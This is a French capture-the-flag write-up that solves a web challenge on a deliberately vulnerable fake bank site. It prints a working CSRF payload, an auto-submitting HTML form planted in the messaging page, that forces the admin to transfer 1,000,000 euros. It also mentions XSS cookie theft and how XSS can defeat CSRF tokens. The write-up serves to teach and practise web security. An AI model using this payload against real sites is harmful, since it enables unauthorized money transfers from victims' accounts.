Pour un rendu optimal, activez JavaScript

[GreenFlag] Web - C'est Sans Réelle Fraude (Facile)

 ·  ☕ 4 min de lecture  ·  ✍️ Docfore

Description

Vous avez appris qu’une banque avait des activités très frauduleuses tout en se cachant derrière une image très écolo et proche du peuple. Et on trouve ça révoltant !!!

Transférez 1 000 000 € (ou plus 😉) du compte de l’admin de la banque vers votre compte. Ils vont apprendre ce que c’est de se moquer des arbres !!!

Site internet du challenge

Observations

On arrive directement sur une page d’accueil assez classique (même si on peut voir les virements faits par les autres utilsateurs). On voit qu’il ya 3 onglets sur cette page, Accueil, Messagerie, Mon compte.

Le défi est de transférer 1 000 000 € du compte de l’administrateur vers son compte. Il n’est pas possible de le faire directement. On pourrait simplement voler le cookie de l’administrateur grâce à la page de Messagerie, le cookie est alors admin, ce cookie se trouve en exploitant une faille XSS présente dans la messagerie (voir l’article sur la faille XSS de ce CTF UN COOKIE !!!). En changeant son cookie pour celui de l’admin, on se rend rapidement compte que ce n’est pas possible. En effet, en interne, le serveur va vérifier l’adresse IP et le cookie.

Exploitation de la faille

Alors comment fait-on pour devenir riche ? Et bien, il faut ruser et se faire passer pour l’admin. Ca peut paraître compliqué, mais en réalité, c’est tout simple. Pour faire ça, on va faire la requête vers la page de messagerie en prenant bien soin de faire un formulaire pré-rempli.

Cette faille est appelée CSRF (Cross Site Request Forgery), il faut remplir un formulaire et le faire soumettre par quelqu’un qui en a le droit. Dans notre cas, c’est l’admin.

Créons le formulaire alors ! Bon. En réalité, on n’a même pas besoin de s’embêter de créer un formulaire. Il faut juste récupérer celui que l’on veut envoyer sur la page Mon compte.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<form method="POST">
    <div class="container">
                    
        <div class="input-group mb-3">
            <span class="input-group-text" id="inputGroup-sizing-default"><label for="envoyeur">Envoyeur</label></span>
            <input class="form-control" id="envoyeur" name="envoyeur" readonly="" required="" type="text" value="a39658df39ea3cea8fa4465fcd990d2caaa93f1034ecf384190158b1f9c1bd8a">
            
        </div>

                        
        <div class="input-group mb-3">
            <span class="input-group-text" id="inputGroup-sizing-default"><label for="receveur">Receveur</label></span>
            <input class="form-control" id="receveur" name="receveur" required="" type="text" value="">
            
        </div>

                        
        <div class="input-group mb-3">
            <span class="input-group-text" id="inputGroup-sizing-default"><label for="somme">Somme</label></span>
            <input class="form-control" id="somme" name="somme" required="" type="text" value="">
            
        </div>

        <div class="btn-group bg-light" role="group">
            <input type="submit" class="btn btn-outline-secondary" value="Transferer">
        </div>
    </div>
</form>

Maintenant, on a juste à le remodeler un peu, pour qu’il soit plus simple à lire, mais aussi pour qu’on reçoive bien le million !

1
2
3
4
5
<form action="/compte"method="POST" name="form">
<input class="form-control" id="envoyeur" name="envoyeur" type="text" value="admin">
<input class="form-control" id="receveur" name="receveur" type="text" value="<mon_cookie>">
<input class="form-control" id="somme" name="somme" type="text" value="1000000">
</form>

Ici, il est très important de changer le receveur et le donneur, ainsi que la somme car sinon, personne ne recevra ce qu’il veut. Ensuite, il faut soumettre le formulaire, ce qui se fait très simplement avec la commande JS suivante.

1
document.form.submit();

Ainsi, on obtient le payload suivant :

1
2
3
4
5
6
<form action="/compte" method="POST" name="form">
<input class="form-control" id="envoyeur" name="envoyeur" type="text" value="admin">
<input class="form-control" id="receveur" name="receveur" type="text" value="<mon_cookie>">
<input class="form-control" id="somme" name="somme" type="text" value="1000000">
</form>
<script>document.form.submit()</script>

Et voilà, on est maintenant riche. Grâce à la faille CSRF !

Argent

Il y a plusieurs moyens de sécuriser cette faille, une méthode connue est d’attribuer à chaque requêtes un token caché dans tous les formulaires. Quand on soumet le formulaire, on va envoyer ce token et le serveur va le comparer avec ce qu’il a en mémoire. Il est impossible de le deviner. Cependant, il y a un problème quand le site internet a ne faille XSS. En effet, il suffit de faire un script en JS qui va faire une requête vers la page voulue, récuperer le formulaire avec le token, remplir le formulaire comme on le souhaite, et enfin soumettre le formualaire avec ces données. Et tout ça depuis le compte de l’admin, c’est le principe du CSRF.

Voilà, maintenant amusez vous bien !

Partagez

Hackin'TN
RÉDIGÉ PAR
Docfore
Trésorier Hackin'TN 2021